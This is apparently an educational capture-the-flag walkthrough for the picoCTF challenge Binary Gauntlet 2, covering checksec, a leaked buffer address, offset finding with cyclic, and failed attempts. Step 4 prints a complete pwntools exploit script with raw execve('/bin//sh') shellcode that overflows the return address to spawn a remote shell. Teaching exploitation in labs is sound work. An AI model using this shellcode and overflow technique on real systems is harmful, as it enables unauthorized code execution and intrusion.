Description
Level 2 of Binary Gauntlet. The program has no stack canary, no PIE, and - crucially - NX is disabled, so the stack is executable. It also prints the address of the destination buffer before reading input, handing you the exact address you need to redirect execution to shellcode.
Setup
Download the binary and check its security properties.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Confirm mitigations with checksecObservationI noticed the challenge description mentioned NX disabled and no canary, which suggested I should verify those claims with checksec before choosing an exploit strategy, since the presence or absence of each mitigation changes the approach entirely.Run checksec on the binary. The output shows: Partial RELRO, no canary, NX disabled, no PIE. The absence of NX is the key finding: the stack is executable, so you can write raw machine code into the buffer and then redirect the return address to run it.bashchecksec vulnWhat didn't work first
Tried: Running 'file vuln' instead of checksec to check binary protections
The file command reports architecture and ELF type but says nothing about NX, stack canaries, RELRO, or PIE. Checksec reads the ELF headers and GNU_STACK segment flags to report all four mitigations in one line - file output alone cannot tell you whether shellcode injection is viable.
Tried: Assuming NX is enabled by default and jumping straight to a ROP chain approach
Many modern binaries do have NX enabled, so ROP is a common first instinct. Here checksec explicitly shows NX disabled, meaning the stack is executable and shellcode injection is simpler and more direct than constructing a ROP chain. Skipping checksec leads to unnecessary work building gadget chains that are not needed.
Learn more
NX (No-eXecute) marks the stack as non-executable so the CPU will refuse to run data stored there. When NX is disabled, every byte you write into a stack buffer can be executed as machine code - shellcode injection is the natural exploit path.
Why no canary matters. A stack canary is a random value placed between the local variables and the saved return address. The function checks that value before returning; a corrupted canary triggers an abort. With no canary, you can overwrite the return address freely as long as you know the correct offset.
Why no PIE matters. Position-Independent Executable randomizes the load address of the binary itself each run. With PIE off, binary addresses are fixed - but here you do not even need binary gadgets because the program gives you the stack address directly.
Step 2
Note the leaked buffer addressObservationI noticed the binary prints a hex address via printf("%p") before reading input, which indicated the challenge was handing us the runtime stack buffer address and that we should capture it to aim our shellcode precisely, since ASLR would otherwise make guessing it impossible.When you run the binary you see a hex address printed via printf("%p\n", dest). That is the runtime address of the destination buffer where your input will be copied. Because ASLR randomizes the stack each run, you could not guess this address - but the program gives it to you. Save it; you will write it into the return address slot.bash./vulnbash# observe the hex address printed before the promptWhat didn't work first
Tried: Hardcoding a stack address observed during a local test run and reusing it for the remote connection
ASLR randomizes the stack base each execution, so a stack address recorded from one run is invalid on the next. The program prints the current buffer address at runtime precisely because it changes. The exploit script must parse the printed address from each fresh connection and use that live value.
Tried: Treating the printed value as the return address itself rather than the destination buffer address
The program leaks the address of the input buffer - the memory location where your shellcode will be written. The return address is a different slot further up the stack at offset 120 from the buffer. You overwrite the return address slot with the leaked buffer address, not the other way around.
Learn more
Why the program leaks the address. This is an intentional scaffolding hint built into the challenge. In a real exploit scenario you might need an information-leak vulnerability to defeat ASLR; here the challenge author shortcircuits that step so you can focus on the shellcode injection itself.
ASLR vs. stack addresses. Even with the binary loaded at a fixed address (no PIE), Linux ASLR randomizes the stack base each execution. So the buffer address changes every run. Parsing the printed address in your exploit script and using it directly is the correct approach.
Step 3
Find the offset to the return addressObservationI noticed the binary uses strcpy to copy up to 999 bytes into a small buffer with no bounds check, which suggested a classic stack buffer overflow; I needed to determine the exact byte offset to the saved return address before crafting the payload.Use pwntools cyclic to generate a De Bruijn pattern, send it to the binary, and let it crash. The value in RIP (or the fault address) identifies exactly where in the pattern the return address sits. The offset for this binary is 120 bytes.pythonpython3 -c "from pwn import *; print(cyclic(200))" | ./vulnbash# note the crash address, then:pythonpython3 -c "from pwn import *; print(cyclic_find(0x<CRASH_VALUE>))"What didn't work first
Tried: Passing the RIP value from dmesg or /var/log/syslog directly to cyclic_find without byte-swapping
On x86-64 the crash address displayed in dmesg or by the kernel is in little-endian order, but cyclic_find expects the raw 8-byte value as a Python integer. If you copy the hex string and pass it without converting it to an int (e.g. omitting int(..., 16)), cyclic_find receives a string and raises a TypeError or returns the wrong offset.
Tried: Using a pattern shorter than the buffer and assuming the first crash gives the exact offset
If the pattern is shorter than the distance to the return address the program crashes from a read or write fault before reaching RIP, not from a corrupted return address. You need a pattern long enough to reach past offset 120, so generating at least 200 bytes ensures the return address slot is actually overwritten with a unique cyclic subsequence.
Learn more
De Bruijn pattern. A cyclic (De Bruijn) sequence has the property that every subsequence of length n appears exactly once. Pwntools generates one with
cyclic(n)and can reverse-map any 4- or 8-byte window back to its offset withcyclic_find(). This eliminates manual binary-search guessing.The overflow. The program copies up to 999 characters into a ~103-byte buffer via
strcpy, so any input longer than the buffer eventually reaches and overwrites the saved return address at offset 120.Step 4
Build and send the shellcode exploitObservationI noticed that with NX disabled, a known offset of 120, and the leaked buffer address in hand, all preconditions for a shellcode injection exploit were satisfied, which suggested writing a pwntools script that places 64-bit execve shellcode at the buffer start, pads to the offset, and overwrites the return address with the leaked address.Craft the payload: shellcode first (placed at the start of the buffer), then padding bytes to reach offset 120, then the leaked buffer address as the new return address. When the function returns it will jump directly into your shellcode and execute /bin/sh.pythonpython3 - <<'EOF' from pwn import * p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # 64-bit execve("/bin//sh") shellcode shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # Parse the buffer address printed by the program line = p.recvline() buf_addr = int(line.strip(), 16) print(f"Buffer at: {hex(buf_addr)}") offset = 120 payload = shellcode payload += b'A' * (offset - len(shellcode)) # pad to return address payload += p64(buf_addr) # overwrite return address p.sendline(payload) p.interactive() EOFExpected output
picoCTF{75043449...}What didn't work first
Tried: Placing the shellcode after the padding instead of at the start of the buffer
If you write padding first and shellcode after the return address, the shellcode lands beyond the saved return address and may be clobbered by the return address write itself or lie in a region the CPU treats differently. The return address must point to the start of the buffer, so shellcode must begin at byte zero of the payload for the jump to land correctly.
Tried: Using a 32-bit execve shellcode on this 64-bit binary
32-bit shellcode uses int 0x80 and 32-bit register conventions (eax, ebx, ecx, edx) to invoke execve. On a 64-bit kernel running a 64-bit ELF, int 0x80 invokes the 32-bit syscall table with different syscall numbers and argument registers. The execve syscall number differs between the two ABIs, so 32-bit shellcode either calls the wrong syscall or passes arguments in the wrong registers, producing SIGSEGV or ENOSYS instead of a shell.
Learn more
Payload layout in memory (each row is part of the stack buffer):
buf_addr -> | shellcode bytes (24) | <- CPU will execute this | 'A' * 96 (padding) | | buf_addr (8 bytes) | <- overwrites saved return address | | vuln() ret: jumps to buf_addr, runs shellcode -> /bin/shWhy shellcode works here. Because NX is disabled, the CPU treats the bytes in the stack buffer as executable code. The 24-byte shellcode calls
execve("/bin//sh", NULL, NULL)via syscall 59 (0x3b), replacing the current process image with a shell.Why ret2libc is not needed here. ret2libc and ROP chains exist to bypass NX by reusing existing code. Since NX is off, injecting your own shellcode is simpler and does not require finding gadgets or leaking libc addresses. Binary Gauntlet 3 introduces NX and requires ret2libc.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{75043449...}
NX is disabled on this binary, so shellcode injected into the stack buffer executes directly. The program leaks the buffer address, making ASLR irrelevant. Pad 120 bytes, then overwrite the return address with the leaked address.